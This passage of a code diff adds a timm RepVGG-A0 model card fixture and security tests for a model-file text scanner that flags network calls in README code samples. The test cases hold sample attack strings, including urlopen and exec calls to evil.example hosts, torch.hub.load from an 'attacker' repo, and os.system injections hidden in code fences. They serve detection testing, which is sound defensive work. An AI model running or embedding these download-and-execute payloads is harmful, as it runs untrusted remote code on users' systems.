a/tests/assets/huggingface_model_cards/timm_repvgg_a0.rvgg_in1k_README.txt b/tests/assets/huggingface_model_cards/timm_repvgg_a0.rvgg_in1k_README.txt new file mode 100644 index 000000000..0313bd67f --- /dev/null +++ b/tests/assets/huggingface_model_cards/timm_repvgg_a0.rvgg_in1k_README.txt @@ -0,0 +1,156 @@ +--- +tags: +- image-classification +- timm +- transformers +library_name: timm +license: mit +datasets: +- imagenet-1k +--- +# Model card for repvgg_a0 + +A RepVGG image classification model. Trained on ImageNet-1k by paper authors. + +This model architecture is implemented using `timm`'s flexible [BYOBNet (Bring-Your-Own-Blocks Network)](https://github.com/huggingface/pytorch-image-models/blob/main/timm/models/byobnet.py). + +BYOBNet allows configuration of: + * block / stage layout + * stem layout + * output stride (dilation) + * activation and norm layers + * channel and spatial / self-attention layers + +...and also includes `timm` features common to many other architectures, including: + * stochastic depth + * gradient checkpointing + * layer-wise LR decay + * per-stage feature extraction + + +## Model Details +- **Model Type:** Image classification / feature backbone +- **Model Stats:** + - Params (M): 9.1 + - GMACs: 1.5 + - Activations (M): 3.6 + - Image size: 224 x 224 +- **Papers:** + - RepVGG: Making VGG-style ConvNets Great Again: https://arxiv.org/abs/2101.03697 +- **Dataset:** ImageNet-1k +- **Original:** https://github.com/DingXiaoH/RepVGG + +## Model Usage +### Image Classification +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model('repvgg_a0', pretrained=True) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +top5_probabilities, top5_class_indices = torch.topk(output.softmax(dim=1) * 100, k=5) +``` + +### Feature Map Extraction +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'repvgg_a0', + pretrained=True, + features_only=True, +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # unsqueeze single image into batch of 1 + +for o in output: + # print shape of each feature map in output + # e.g.: + # torch.Size([1, 48, 112, 112]) + # torch.Size([1, 48, 56, 56]) + # torch.Size([1, 96, 28, 28]) + # torch.Size([1, 192, 14, 14]) + # torch.Size([1, 1280, 7, 7]) + + print(o.shape) +``` + +### Image Embeddings +```python +from urllib.request import urlopen +from PIL import Image +import timm + +img = Image.open(urlopen( + 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png' +)) + +model = timm.create_model( + 'repvgg_a0', + pretrained=True, + num_classes=0, # remove classifier nn.Linear +) +model = model.eval() + +# get model specific transforms (normalization, resize) +data_config = timm.data.resolve_model_data_config(model) +transforms = timm.data.create_transform(**data_config, is_training=False) + +output = model(transforms(img).unsqueeze(0)) # output is (batch_size, num_features) shaped tensor + +# or equivalently (without needing to set num_classes=0) + +output = model.forward_features(transforms(img).unsqueeze(0)) +# output is unpooled, a (1, 1280, 7, 7) shaped tensor + +output = model.forward_head(output, pre_logits=True) +# output is a (1, num_features) shaped tensor +``` + +## Model Comparison +Explore the dataset and runtime metrics of this model in timm [model results](https://github.com/huggingface/pytorch-image-models/tree/main/results). + +## Citation +```bibtex +@misc{rw2019timm, + author = {Ross Wightman}, + title = {PyTorch Image Models}, + year = {2019}, + publisher = {GitHub}, + journal = {GitHub repository}, + doi = {10.5281/zenodo.4414861}, + howpublished = {\url{https://github.com/huggingface/pytorch-image-models}} +} +``` +```bibtex +@inproceedings{ding2021repvgg, + title={Repvgg: Making vgg-style convnets great again}, + author={Ding, Xiaohan and Zhang, Xiangyu and Ma, Ningning and Han, Jungong and Ding, Guiguang and Sun, Jian}, + booktitle={Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition}, + pages={13733--13742}, + year={2021} +} +``` diff --git a/tests/scanners/test_text_scanner.py b/tests/scanners/test_text_scanner.py index e0bc90736..8bc47f6b7 100644 --- a/tests/scanners/test_text_scanner.py +++ b/tests/scanners/test_text_scanner.py @@ -1,10 +1,13 @@ +import hashlib import json from pathlib import Path from typing import Any import pytest +from click.testing import CliRunner from modelaudit.cache import get_cache_manager, reset_cache_manager +from modelaudit.cli import cli from modelaudit.core import determine_exit_code, scan_file, scan_model_directory_or_file from modelaudit.detectors import network_comm from modelaudit.scanner_results import SCAN_OUTCOME_MESSAGE_METADATA_KEY @@ -27,6 +30,715 @@ def _failed_network_detection_checks(result: Any) -> list[Any]: ] +HUGGINGFACE_DOCUMENTATION_IMAGE_EXAMPLE = ( + "# Model usage\n\n" + "```python\n" + "from urllib.request import urlopen\n" + "from PIL import Image\n" + "img = Image.open(urlopen(\n" + ' "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/' + 'beignets-task-guide.png"\n' + "))\n" + "```\n" +) + +HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES = ( + "timm_mobilenetv3_small_100.lamb_in1k_README.txt", + "timm_convnext_femto.d1_in1k_README.txt", + "timm_repvgg_a0.rvgg_in1k_README.txt", +) +HUGGINGFACE_WHITELIST_POLICY_MODES: tuple[tuple[bool | str | None, bool], ...] = ( + (None, True), + (True, True), + (False, False), + ("false", False), + ("0", False), + ("off", False), +) + + +class _FailingSecretDetectorTextScanner(TextScanner): + def collect_embedded_secret_findings( + self, + *_args: Any, + **_kwargs: Any, + ) -> list[dict[str, Any]]: + raise RuntimeError("controlled trusted-documentation secret detector failure") + + +class _FailingNetworkDetectorTextScanner(TextScanner): + def collect_network_communication_findings( + self, + *_args: Any, + **_kwargs: Any, + ) -> list[dict[str, Any]]: + raise RuntimeError("controlled trusted-documentation network detector failure") + + +def _real_huggingface_image_readme_payload(fixture_name: str, *, crlf: bool) -> bytes: + fixture_path = Path(__file__).resolve().parents[1] / "assets" / "huggingface_model_cards" / fixture_name + original = fixture_path.read_bytes() + assert b"license: apache-2.0" in original.splitlines() or b"license: mit" in original.splitlines() + return original.replace(b"\n", b"\r\n") if crlf else original + + +# Fixture SPDX: Apache-2.0; attribution: Ross Wightman and timm. +# Pinned source: timm/mobilenetv3_small_100.lamb_in1k@1824797e7887cbec1990e4adbd6675960a36c589. +# Fixture SPDX: Apache-2.0; attribution: timm. +# Pinned source: timm/convnext_femto.d1_in1k@1e0c02df687c47abf0819e1a4f858293e17e0c50. +# Fixture SPDX: MIT; attribution: timm. +# Pinned source: timm/repvgg_a0.rvgg_in1k@e292d220aa8b811232037f8aa6d6c8c552dbd0c0. +@pytest.mark.parametrize( + ("fixture_name", "fixture_license", "lf_size", "lf_sha256", "crlf_size", "crlf_sha256"), + [ + pytest.param( + "timm_mobilenetv3_small_100.lamb_in1k_README.txt", + "apache-2.0", + 4386, + "3950face80991c4f91fb1ead491d787639e08a737f948fd630dd938ae8f78c18", + 4531, + "d15a41ee108ddfa546bc931a553f108be8e9e0c4c3ff2978dab9ee31ba5193f0", + id="mobilenet-apache-2.0", + ), + pytest.param( + "timm_convnext_femto.d1_in1k_README.txt", + "apache-2.0", + 15646, + "8be1d036fde8dd8d279b9d0d8d886da58ba5c76e7a59d6da662b89243a51a5e3", + 15844, + "5996269997efd68dfae50ababead126a2b33761510440c1355bf50854c72849d", + id="convnext-apache-2.0", + ), + pytest.param( + "timm_repvgg_a0.rvgg_in1k_README.txt", + "mit", + 4515, + "76528d32891b0a14087eb2240065094ff2cea9cc04a41ebe7b28311711af830d", + 4671, + "937369705c2ce5d8ef37a7b8b589a997ebdc76b05ad60cb05f1641777e4ebb69", + id="repvgg-mit", + ), + ], +) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_real_huggingface_image_readme_preserves_production_security( + tmp_path: Path, + fixture_name: str, + fixture_license: str, + lf_size: int, + lf_sha256: str, + crlf_size: int, + crlf_sha256: str, + crlf: bool, +) -> None: + fixture_path = Path(__file__).resolve().parents[1] / "assets" / "huggingface_model_cards" / fixture_name + original = fixture_path.read_bytes() + assert (len(original), hashlib.sha256(original).hexdigest()) == (lf_size, lf_sha256) + assert b"license: " + fixture_license.encode() in original.splitlines() + assert b"\r" not in original + + payload = original.replace(b"\n", b"\r\n") if crlf else original + digest = hashlib.sha256(payload).hexdigest() + expected_size, expected_sha256 = (crlf_size, crlf_sha256) if crlf else (lf_size, lf_sha256) + assert (len(payload), digest) == (expected_size, expected_sha256) + + benign_path = tmp_path / "README.md" + benign_path.write_bytes(payload) + benign = TextScanner().scan(str(benign_path)) + benign_aggregate = scan_model_directory_or_file(str(benign_path), cache_enabled=False) + network_checks = [ + check + for check in benign.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + assert benign.success is True + assert determine_exit_code(benign_aggregate) == 0 + + # Repoint the sample image at attacker-controlled infrastructure. Byte length is preserved so + # the regression proves the URL itself is validated rather than the card's size or digest. + # "evilexample.co" is exactly as long as "huggingface.co". + malicious_payload = payload.replace( + b"https://huggingface.co/datasets/huggingface/documentation-images/", + b"https://evilexample.co/datasets/huggingface/documentation-images/", + ) + assert len(malicious_payload) == len(payload) + assert malicious_payload != payload + malicious_path = tmp_path / "tampered" / "README.md" + malicious_path.parent.mkdir() + malicious_path.write_bytes(malicious_payload) + malicious = TextScanner().scan(str(malicious_path)) + malicious_aggregate = scan_model_directory_or_file(str(malicious_path), cache_enabled=False) + assert malicious.success is False + assert any( + check.details.get("function") == "urlopen" and check.severity == IssueSeverity.CRITICAL + for check in _failed_network_detection_checks(malicious) + ) + assert determine_exit_code(malicious_aggregate) == 1 + + +@pytest.mark.parametrize("fixture_name", HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("whitelist_value", "whitelist_enabled"), + HUGGINGFACE_WHITELIST_POLICY_MODES, + ids=["default", "true", "false", "string-false", "string-zero", "string-off"], +) +def test_text_scanner_verified_huggingface_readme_respects_whitelist_policy( + tmp_path: Path, + fixture_name: str, + crlf: bool, + whitelist_value: bool | str | None, + whitelist_enabled: bool, +) -> None: + path = tmp_path / "README.md" + path.write_bytes(_real_huggingface_image_readme_payload(fixture_name, crlf=crlf)) + config: dict[str, Any] = {} if whitelist_value is None else {"use_hf_whitelist": whitelist_value} + + result = TextScanner(config).scan(str(path)) + aggregate = scan_model_directory_or_file(str(path), cache_enabled=False, **config) + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + if whitelist_enabled: + assert result.success is True + assert determine_exit_code(aggregate) == 0 + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + else: + assert result.success is False + assert determine_exit_code(aggregate) == 1 + assert all(check.status == CheckStatus.FAILED for check in network_checks) + assert all(check.severity in {IssueSeverity.WARNING, IssueSeverity.CRITICAL} for check in network_checks) + + +@pytest.mark.parametrize("fixture_name", HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_truncated_verified_huggingface_readme_preserves_actionable_findings( + tmp_path: Path, + fixture_name: str, + crlf: bool, +) -> None: + trusted_payload = _real_huggingface_image_readme_payload(fixture_name, crlf=crlf) + path = tmp_path / "README.md" + path.write_bytes(trusted_payload + b"\n```python\n__import__('os').system('id')\n```\n") + config: dict[str, Any] = {"text_content_scan_bytes": len(trusted_payload)} + cache_dir = tmp_path / "cache" + + result = TextScanner(config).scan(str(path)) + reset_cache_manager() + try: + aggregates = [ + scan_model_directory_or_file( + str(path), + cache_enabled=cache_enabled, + cache_dir=str(cache_dir), + min_cache_file_size=0, + **config, + ) + for cache_enabled in (False, True, True) + ] + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert result.success is False + assert result.metadata.get("scan_outcome") == INCONCLUSIVE_SCAN_OUTCOME + assert result.metadata.get("analysis_incomplete") is True + assert result.metadata.get("operational_error_reason") == "text_content_security_scan_incomplete" + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.status == CheckStatus.FAILED for check in network_checks) + assert all(check.severity in {IssueSeverity.WARNING, IssueSeverity.CRITICAL} for check in network_checks) + assert all(determine_exit_code(aggregate) == 2 for aggregate in aggregates) + assert all( + aggregate.file_metadata[str(path)].get("scan_outcome") == INCONCLUSIVE_SCAN_OUTCOME + for aggregate in aggregates + ) + assert get_cache_manager(str(cache_dir), enabled=True).get_stats()["total_entries"] == 0 + finally: + reset_cache_manager() + + +@pytest.mark.parametrize("fixture_name", HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("whitelist_value", "_whitelist_enabled"), + HUGGINGFACE_WHITELIST_POLICY_MODES, + ids=["default", "true", "false", "string-false", "string-zero", "string-off"], +) +def test_text_scanner_verified_huggingface_readme_finding_limit_fails_closed( + tmp_path: Path, + fixture_name: str, + crlf: bool, + whitelist_value: bool | str | None, + _whitelist_enabled: bool, +) -> None: + path = tmp_path / "README.md" + path.write_bytes(_real_huggingface_image_readme_payload(fixture_name, crlf=crlf)) + config: dict[str, Any] = {"text_content_max_findings": 2} + if whitelist_value is not None: + config["use_hf_whitelist"] = whitelist_value + + result = TextScanner(config).scan(str(path)) + aggregate = scan_model_directory_or_file(str(path), cache_enabled=False, **config) + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert result.success is False + assert result.metadata.get("scan_outcome") == INCONCLUSIVE_SCAN_OUTCOME + assert result.metadata.get("analysis_incomplete") is True + assert result.metadata.get("operational_error_reason") == "text_content_security_finding_limit" + assert determine_exit_code(aggregate) == 2 + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.status == CheckStatus.FAILED for check in network_checks) + assert all(check.severity in {IssueSeverity.WARNING, IssueSeverity.CRITICAL} for check in network_checks) + + +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("whitelist_value", "_whitelist_enabled"), + HUGGINGFACE_WHITELIST_POLICY_MODES, + ids=["default", "true", "false", "string-false", "string-zero", "string-off"], +) +@pytest.mark.parametrize( + ("scanner_class", "failed_detector"), + [ + pytest.param(_FailingSecretDetectorTextScanner, "secrets", id="secret-detector"), + pytest.param(_FailingNetworkDetectorTextScanner, "network_communication", id="network-detector"), + ], +) +def test_text_scanner_verified_huggingface_readme_detector_failure_fails_closed( + tmp_path: Path, + crlf: bool, + whitelist_value: bool | str | None, + _whitelist_enabled: bool, + scanner_class: type[TextScanner], + failed_detector: str, +) -> None: + path = tmp_path / "README.md" + path.write_bytes( + _real_huggingface_image_readme_payload(HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES[0], crlf=crlf) + ) + config: dict[str, Any] = {} if whitelist_value is None else {"use_hf_whitelist": whitelist_value} + + result = scanner_class(config).scan(str(path)) + + assert result.success is False + assert result.metadata.get("scan_outcome") == INCONCLUSIVE_SCAN_OUTCOME + assert result.metadata.get("analysis_incomplete") is True + assert result.metadata.get("operational_error_reason") == "text_content_security_detector_failed" + assert any( + check.name == "Text Content Security Coverage" + and check.status == CheckStatus.FAILED + and check.details.get("detector") == failed_detector + for check in result.checks + ) + if failed_detector == "secrets": + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.status == CheckStatus.FAILED for check in network_checks) + assert all(check.severity in {IssueSeverity.WARNING, IssueSeverity.CRITICAL} for check in network_checks) + + +@pytest.mark.parametrize("fixture_name", HUGGINGFACE_DOCUMENTATION_IMAGE_README_FIXTURES) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("flags", "expected_exit_code"), + [ + pytest.param((), 0, id="default"), + pytest.param(("--no-whitelist",), 1, id="no-whitelist"), + pytest.param(("--strict",), 1, id="strict"), + ], +) +def test_text_scanner_verified_huggingface_readme_click_cli_respects_whitelist_policy( + tmp_path: Path, + fixture_name: str, + crlf: bool, + flags: tuple[str, ...], + expected_exit_code: int, +) -> None: + path = tmp_path / "README.md" + path.write_bytes(_real_huggingface_image_readme_payload(fixture_name, crlf=crlf)) + + result = CliRunner().invoke( + cli, + ["scan", str(path), "--format", "json", "--no-cache", *flags], + catch_exceptions=False, + ) + + assert result.exit_code == expected_exit_code, result.output + + +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("whitelist_value", "_whitelist_enabled"), + HUGGINGFACE_WHITELIST_POLICY_MODES, + ids=["default", "true", "false", "string-false", "string-zero", "string-off"], +) +def test_text_scanner_passive_documentation_prose_is_not_whitelist_dependent( + tmp_path: Path, + crlf: bool, + whitelist_value: bool | str | None, + _whitelist_enabled: bool, +) -> None: + path = tmp_path / "README.md" + line_ending = "\r\n" if crlf else "\n" + path.write_bytes(f"Documentation: https://docs.example.com/model-card{line_ending}".encode()) + config: dict[str, Any] = {} if whitelist_value is None else {"use_hf_whitelist": whitelist_value} + + result = TextScanner(config).scan(str(path)) + aggregate = scan_model_directory_or_file(str(path), cache_enabled=False, **config) + network_checks = [check for check in result.checks if check.name == "Network Communication Detection"] + + assert result.success is True + assert determine_exit_code(aggregate) == 0 + assert network_checks + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + + +@pytest.mark.parametrize( + "model_name", + ["resnet50.a1_in1k", "vit_base_patch16_224.augreg_in21k", "efficientnet_b0.ra_in1k"], +) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_unpinned_model_cards_are_informational( + tmp_path: Path, + model_name: str, + crlf: bool, +) -> None: + """The documented example is recognised structurally, not by pinning known files. + + The generator that emits this snippet produces byte-identical code across every card it + writes, so recognition must not depend on having seen a particular card before. + """ + example = ( + "# Model card\n\n" + "```python\n" + "from urllib.request import urlopen\n" + "from PIL import Image\n" + "import timm\n\n" + "img = Image.open(urlopen(\n" + ' "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/' + 'beignets-task-guide.png"\n' + "))\n" + f"model = timm.create_model('{model_name}', pretrained=True)\n" + "```\n" + ) + payload = example.replace("\n", "\r\n").encode() if crlf else example.encode() + path = tmp_path / "README.md" + path.write_bytes(payload) + + result = TextScanner().scan(str(path)) + aggregate = scan_model_directory_or_file(str(path), cache_enabled=False) + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + assert result.success is True + assert determine_exit_code(aggregate) == 0 + + +@pytest.mark.parametrize( + ("mutation", "replacement"), + [ + pytest.param( + "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png", + "https://evil.example.com/beignets-task-guide.png", + id="attacker-controlled-host", + ), + pytest.param("https://huggingface.co", "http://huggingface.co", id="plain-http"), + pytest.param("https://huggingface.co", "https://huggingface.co@evil.example.com", id="url-userinfo"), + pytest.param("resolve/main/", "resolve/main/../../", id="path-traversal"), + pytest.param("beignets-task-guide.png", "payload.pkl", id="non-image-suffix"), + pytest.param("from urllib.request import urlopen", "from urllib.request import urlopen as fetch", id="alias"), + pytest.param("img = Image.open(urlopen(", "img = exec(urlopen(", id="response-not-into-image-open"), + ], +) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_documentation_image_near_matches_stay_actionable( + tmp_path: Path, + mutation: str, + replacement: str, + crlf: bool, +) -> None: + example = HUGGINGFACE_DOCUMENTATION_IMAGE_EXAMPLE.replace(mutation, replacement) + if replacement.endswith("as fetch"): + example = example.replace("urlopen(\n", "fetch(\n") + payload = example.replace("\n", "\r\n").encode() if crlf else example.encode() + path = tmp_path / "README.md" + path.write_bytes(payload) + + result = TextScanner().scan(str(path)) + + assert result.success is False + assert any( + check.details.get("function") == "urlopen" and check.severity == IssueSeverity.CRITICAL + for check in _failed_network_detection_checks(result) + ) + + +@pytest.mark.parametrize( + "unvalidated", + [ + pytest.param( + "```python\nfrom urllib.request import urlopen\nurlopen('https://evil.example.com/a')\n```\n", + id="second-malicious-fence", + ), + pytest.param( + "```python\nimport urllib.request\nopener = urllib.request.build_opener()\n" + "exec(opener.open('http://evil.example.com/payload').read())\n```\n", + id="urllib-request-without-urlopen-token", + ), + pytest.param( + "```python\nimport urllib.request\nopener = urllib.request.URLopener()\n```\n", + id="urlopener-camelcase-token", + ), + pytest.param("\nAlso call urlopen('https://evil.example.com') directly.\n", id="prose-urlopen"), + pytest.param("\n urlopen('http://evil.example.com')\n", id="unfenced-urlopen"), + ], +) +@pytest.mark.parametrize("prepend", [False, True], ids=["appended", "prepended"]) +def test_text_scanner_documentation_image_example_does_not_cover_other_urlopen_uses( + tmp_path: Path, + unvalidated: str, + prepend: bool, +) -> None: + """A proven fence speaks only for itself. + + Suppression keys off byte position, so an unproven ``urlopen`` elsewhere in the file must + disable the downgrade rather than shelter behind the documented example's finding position. + """ + trusted = HUGGINGFACE_DOCUMENTATION_IMAGE_EXAMPLE + payload = (unvalidated + trusted if prepend else trusted + unvalidated).encode() + path = tmp_path / "README.md" + path.write_bytes(payload) + + result = TextScanner().scan(str(path)) + + assert result.success is False + assert any( + check.details.get("function") == "urlopen" and check.severity == IssueSeverity.CRITICAL + for check in _failed_network_detection_checks(result) + ) + + +def _documentation_image_example_payload(*, crlf: bool = False) -> bytes: + payload = HUGGINGFACE_DOCUMENTATION_IMAGE_EXAMPLE.encode() + return payload.replace(b"\n", b"\r\n") if crlf else payload + + +@pytest.mark.parametrize( + "filename", + ["README.md", "README.markdown", "README.en.md", "model_card.md", "modelcard.markdown"], +) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_verified_huggingface_image_documentation_is_informational( + tmp_path: Path, + filename: str, + crlf: bool, +) -> None: + payload = _documentation_image_example_payload(crlf=crlf) + text_path = tmp_path / filename + text_path.write_bytes(payload) + + result = TextScanner().scan(str(text_path)) + aggregate = scan_model_directory_or_file(str(text_path), cache_enabled=False) + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert {check.details.get("type") for check in network_checks} == {"network_function", "network_library"} + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + assert result.success is True + assert determine_exit_code(aggregate) == 0 + + +@pytest.mark.parametrize( + "attack", + [ + pytest.param( + "```python\nimport torch\ntorch.hub.load('attacker/repo', 'payload', trust_repo=True)\n```\n", + id="fenced-hub-load", + ), + pytest.param( + "```python\nfrom torch.hub import load as fetch\nfetch('attacker/repo', 'payload', trust_repo=True)\n```\n", + id="aliased-hub-load", + ), + pytest.param( + " @__import__('os').system('id')\n def activate():\n pass\n", + id="unfenced-executable-decorator", + ), + pytest.param( + " (__import__\n ('os')\n .system\n ('id'))\n", + id="multiline-unfenced-execution", + ), + pytest.param( + " (print := eval)\n print(\"__import__('os').system('id')\")\n", + id="protected-callable-rebinding", + ), + pytest.param( + "```bash\nenv python -c \"__import__('os').system('id')\"\n```\n", + id="wrapped-shell-execution", + ), + pytest.param( + '```bash\n"python" "-c" "__import__(\'os\').system(\'id\')"\n```\n', + id="quoted-shell-execution", + ), + pytest.param( + "```bibtex\n@misc{x}\ntrue && python -c \"__import__('os').system('id')\"\n{}\n```\n", + id="forged-bibliography", + ), + pytest.param( + "~~~python\nimport torch\ntorch.hub.load('attacker/repo', 'payload')\n~~~\n", + id="tilde-fenced-hub-load", + ), + pytest.param( + "> ```python\n> import torch\n> torch.hub.load('attacker/repo', 'payload')\n> ```\n", + id="blockquote-hub-load", + ), + pytest.param( + "
\nimport torch\ntorch.hub.load('attacker/repo', 'payload')\n
\n", + id="html-wrapped-hub-load", + ), + pytest.param( + "```python\nimport requests\nrequests.get('https://evil.example/payload')\n```\n", + id="unrelated-requests-network-call", + ), + ], +) +@pytest.mark.parametrize("prepend", [False, True], ids=["appended", "prepended"]) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize( + ("whitelist_value", "_whitelist_enabled"), + HUGGINGFACE_WHITELIST_POLICY_MODES, + ids=["default", "true", "false", "string-false", "string-zero", "string-off"], +) +def test_text_scanner_documentation_image_example_shelters_no_appended_content( + tmp_path: Path, + attack: str, + prepend: bool, + crlf: bool, + whitelist_value: bool | str | None, + _whitelist_enabled: bool, +) -> None: + """Recognising the documented example must never remove a finding the payload alone produces. + + The suppression is scoped to the proven fence, so concatenating other content can only ever + add findings. This is the invariant that matters: an attacker cannot launder unrelated + content by pasting the documented snippet next to it. + + Note this asserts *no sheltering*, not that every attack below is detected. Several of these + payloads produce no TextScanner finding on their own, which this test deliberately does not + paper over - see the standalone-detection assertion. + """ + trusted_payload = _documentation_image_example_payload(crlf=crlf) + attack_payload = attack.replace("\n", "\r\n").encode() if crlf else attack.encode() + payload = attack_payload + trusted_payload if prepend else trusted_payload + attack_payload + config: dict[str, Any] = {} if whitelist_value is None else {"use_hf_whitelist": whitelist_value} + + attack_only_path = tmp_path / "attack_only" / "README.md" + attack_only_path.parent.mkdir() + attack_only_path.write_bytes(attack_payload) + attack_only = TextScanner(config).scan(str(attack_only_path)) + + combined_path = tmp_path / "combined" / "README.md" + combined_path.parent.mkdir() + combined_path.write_bytes(payload) + combined = TextScanner(config).scan(str(combined_path)) + aggregate = scan_model_directory_or_file(str(combined_path), cache_enabled=False, **config) + + def actionable(result: Any) -> set[tuple[Any, Any]]: + return { + (check.details.get("type"), check.details.get("function")) + for check in _failed_network_detection_checks(result) + if check.severity in {IssueSeverity.WARNING, IssueSeverity.CRITICAL} + } + + assert hashlib.sha256(payload).digest() != hashlib.sha256(trusted_payload).digest() + assert actionable(attack_only) <= actionable(combined) + if actionable(attack_only): + assert combined.success is False + assert determine_exit_code(aggregate) == 1 + + +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +@pytest.mark.parametrize("rename", [b"out = Image.open", b"xmg = Image.open"]) +def test_text_scanner_documentation_image_example_survives_cosmetic_rewrites( + tmp_path: Path, + crlf: bool, + rename: bytes, +) -> None: + """Renaming the bound variable is not an attack. + + Recognition is structural, so a card that differs from any previously observed card only by + a local variable name stays informational instead of alerting on a benign example. + """ + trusted_payload = _documentation_image_example_payload(crlf=crlf) + payload = trusted_payload.replace(b"img = Image.open", rename, 1) + text_path = tmp_path / "README.md" + text_path.write_bytes(payload) + + result = TextScanner().scan(str(text_path)) + network_checks = [ + check + for check in result.checks + if check.name == "Network Communication Detection" + and (check.details.get("function") == "urlopen" or check.details.get("library") == "urllib") + ] + + assert len(payload) == len(trusted_payload) + assert hashlib.sha256(payload).digest() != hashlib.sha256(trusted_payload).digest() + assert network_checks + assert all(check.severity == IssueSeverity.INFO for check in network_checks) + assert result.success is True + + +@pytest.mark.parametrize("filename", ["README", "README.rst", "README.txt", "model_card.rst", "vocab.txt"]) +@pytest.mark.parametrize("crlf", [False, True], ids=["lf", "crlf"]) +def test_text_scanner_documentation_image_example_does_not_weaken_non_markdown_files( + tmp_path: Path, + filename: str, + crlf: bool, +) -> None: + payload = _documentation_image_example_payload(crlf=crlf) + text_path = tmp_path / filename + text_path.write_bytes(payload) + + result = TextScanner().scan(str(text_path)) + + assert result.success is False + assert any( + check.details.get("function") == "urlopen" and check.severity == IssueSeverity.CRITICAL + for check in _failed_network_detection_checks(result) + ) + + def test_text_scanner_handles_routable_vocabulary_file(tmp_path: Path) -> None: text_path = tmp_path / "vocab.txt" text_path.write_text("token\n", encoding="utf-8") @@ -5136,3 +5848,63 @@ def raise_os_error(_path: str) -> int: assert get_cache_manager(str(cache_dir), enabled=True).get_stats()["total_entries"] == cached_entries finally: reset_cache_manager() + + +@pytest.mark.parametrize( + ("label", "example"), + [ + pytest.param( + "local-image-class", + "```python\nfrom urllib.request import urlopen\nclass Image:\n @staticmethod\n" + " def open(response):\n exec(response.read())\n" + "img = Image.open(urlopen(\n" + " 'https://huggingface.co/attacker/backdoor/resolve/main/logo.png'\n))\n```\n", + id="fence-defines-its-own-image", + ), + pytest.param( + "non-pil-image", + "```python\nfrom urllib.request import urlopen\nfrom evil import Image\n" + "img = Image.open(urlopen(\n" + " 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/" + "beignets-task-guide.png'\n))\n```\n", + id="image-imported-from-elsewhere", + ), + pytest.param( + "no-image-import", + "```python\nfrom urllib.request import urlopen\n" + "img = Image.open(urlopen(\n" + " 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/" + "beignets-task-guide.png'\n))\n```\n", + id="image-never-imported", + ), + pytest.param( + "getattr-primitive", + "```python\nfrom urllib.request import urlopen\nfrom PIL import Image\nimport timm\n" + "fetch = getattr(timm, 'create_model')\n" + "img = 